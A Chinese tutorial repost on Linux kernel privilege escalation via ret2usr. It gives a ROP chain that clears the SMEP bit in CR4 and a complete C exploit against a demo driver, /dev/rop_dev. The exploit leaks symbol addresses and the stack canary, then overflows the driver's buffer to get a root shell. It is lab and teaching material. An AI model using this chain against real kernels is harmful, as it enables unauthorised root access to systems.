linux 内核提权总结(demo+exp分析) -- ROP(二)

2024-09-08 10:38

本文主要是介绍linux 内核提权总结(demo+exp分析) -- ROP(二),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ret2usr CR4篇

本文转自网络文章,内容均为非盈利,版权归原作者所有。
转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。
原文作者:jmpcall
专栏地址:https://zhuanlan.kanxue.com/user-815036.htm

 

  • smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码

    • 内核通过CR4寄存器的第20位来控制smep, 第20位为0时,smep被关闭
  • 攻击流程

    1. 提前在用户态代码中构造进程提权代码(get_root)
    2. ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0
    3. 修改 rip 直接指向用户态提权代码,实现进程提权

一. 判断是否开启smep

1.查看 boot.sh

qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-cpu qemu64,+smep,+smap \
-nographic \
-gdb tcp::1234

2.smep, smap 在boot.sh -cpu选项内进行设置

 

二. ROP链构造

ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret
ROP[i++] = 0x6f0;
ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret
ROP[i++] = 0;
ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
ROP[i++] = 0;
ROP[i++] = (size_t)get_root;

三. exp

// gcc ret2usr.c -masm=intel -static -o ret2usr#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>size_t base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_rflags, user_sp, shell;void get_shell()
{if (!getuid()){puts("=.=");system("/bin/sh");}else{puts("failed");}exit(0);
}void get_root()
{char *(*pkc)(int) = prepare_kernel_cred;void (*cc)(char *) = commit_creds;(*cc)((*pkc)(0));asm(   "pushq user_ss;""pushq user_sp;""pushq user_rflags;""pushq user_cs;""push shell;""swapgs;""iretq;");
}void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");shell = (size_t)get_shell;printf("ip is 0x%lx\n", (size_t)get_shell);printf("cs is 0x%lx\n", user_cs);printf("ss is 0x%lx\n", user_ss);printf("sp is 0x%lx\n", user_sp);printf("flag is 0x%lx\n", user_rflags);puts("status has been saved.");
}size_t get_addr(char *name)
{int num = strlen(name) * 2 + 3 + 27;char cmd[num];memset(cmd, 0, num);strcat(cmd, "cat /tmp/kallsyms | grep ");strcat(cmd, name);strcat(cmd, " > ");strcat(cmd, name);printf("the cmd is %s\n", cmd);system(cmd);char buf[19] = {0};size_t addr = 0;FILE *fp = fopen(name, "r");if (fp == NULL){printf("open %s error!\n", name);exit(0);}fgets(buf, 18, fp);addr = strtoul(buf, 0, 16);printf("the addr(0x) is: %p\n", (void *)addr);if (addr == 0){puts("string conversion integer failed");}fclose(fp);return addr;
}size_t get_canary()
{system("dmesg | grep canary > canary");puts("the cmd is: dmesg | grep canary > canary");FILE *fp = fopen("canary", "r");if (fp == NULL){puts("open canary error");exit(0);}char buf[100] = {0};size_t canary = 0;fgets(buf, 100, fp);char *str_canary = strstr(buf, "0x");canary = strtoul(str_canary, 0, 16);fclose(fp);printf("the canary is 0x%lx\n", canary);return canary;
}char *rop(size_t offset, size_t *ROP)
{int i = 0;ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; retROP[i++] = 0x6f0;ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; retROP[i++] = 0;ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; retROP[i++] = 0;ROP[i++] = (size_t)get_root;
}int main()
{base = get_addr("startup_64");commit_creds = get_addr("commit_creds");prepare_kernel_cred = get_addr("prepare_kernel_cred");size_t offset = base - 0xffffffff81000000;printf("offset is: %lx\n", offset);int fd = open("/dev/rop_dev", 2);if (0 == fd){puts("open /dev/rop_dev error");exit(0);}char payload1[0x10] = {0};write(fd, payload1, 0x10);write(fd, payload1, 0x10);size_t canary = get_canary();size_t payload2[19] = {0};payload2[0] = 0x6161616161616161;payload2[1] = 0x6262626262626262;payload2[2] = canary;payload2[3] = 0x6363636363636363;save_status();rop(offset, &payload2[4]);write(fd, payload2, 8 * 19);return 0;
}

 

这篇关于linux 内核提权总结(demo+exp分析) -- ROP(二)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/1147878

相关文章

Springboot处理跨域的实现方式(附Demo)

《Springboot处理跨域的实现方式(附Demo)》:本文主要介绍Springboot处理跨域的实现方式(附Demo),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录Springboot处理跨域的方式1. 基本知识2. @CrossOrigin3. 全局跨域设置4.

Linux samba共享慢的原因及解决方案

《Linuxsamba共享慢的原因及解决方案》:本文主要介绍Linuxsamba共享慢的原因及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux samba共享慢原因及解决问题表现原因解决办法总结Linandroidux samba共享慢原因及解决

Spring事务中@Transactional注解不生效的原因分析与解决

《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3

新特性抢先看! Ubuntu 25.04 Beta 发布:Linux 6.14 内核

《新特性抢先看!Ubuntu25.04Beta发布:Linux6.14内核》Canonical公司近日发布了Ubuntu25.04Beta版,这一版本被赋予了一个活泼的代号——“Plu... Canonical 昨日(3 月 27 日)放出了 Beta 版 Ubuntu 25.04 系统镜像,代号“Pluc

找不到Anaconda prompt终端的原因分析及解决方案

《找不到Anacondaprompt终端的原因分析及解决方案》因为anaconda还没有初始化,在安装anaconda的过程中,有一行是否要添加anaconda到菜单目录中,由于没有勾选,导致没有菜... 目录问题原因问http://www.chinasem.cn题解决安装了 Anaconda 却找不到 An

Spring定时任务只执行一次的原因分析与解决方案

《Spring定时任务只执行一次的原因分析与解决方案》在使用Spring的@Scheduled定时任务时,你是否遇到过任务只执行一次,后续不再触发的情况?这种情况可能由多种原因导致,如未启用调度、线程... 目录1. 问题背景2. Spring定时任务的基本用法3. 为什么定时任务只执行一次?3.1 未启用

Linux安装MySQL的教程

《Linux安装MySQL的教程》:本文主要介绍Linux安装MySQL的教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux安装mysql1.Mysql官网2.我的存放路径3.解压mysql文件到当前目录4.重命名一下5.创建mysql用户组和用户并修

Linux上设置Ollama服务配置(常用环境变量)

《Linux上设置Ollama服务配置(常用环境变量)》本文主要介绍了Linux上设置Ollama服务配置(常用环境变量),Ollama提供了多种环境变量供配置,如调试模式、模型目录等,下面就来介绍一... 目录在 linux 上设置环境变量配置 OllamPOgxSRJfa手动安装安装特定版本查看日志在

Linux系统之主机网络配置方式

《Linux系统之主机网络配置方式》:本文主要介绍Linux系统之主机网络配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、查看主机的网络参数1、查看主机名2、查看IP地址3、查看网关4、查看DNS二、配置网卡1、修改网卡配置文件2、nmcli工具【通用

Linux系统之dns域名解析全过程

《Linux系统之dns域名解析全过程》:本文主要介绍Linux系统之dns域名解析全过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、dns域名解析介绍1、DNS核心概念1.1 区域 zone1.2 记录 record二、DNS服务的配置1、正向解析的配置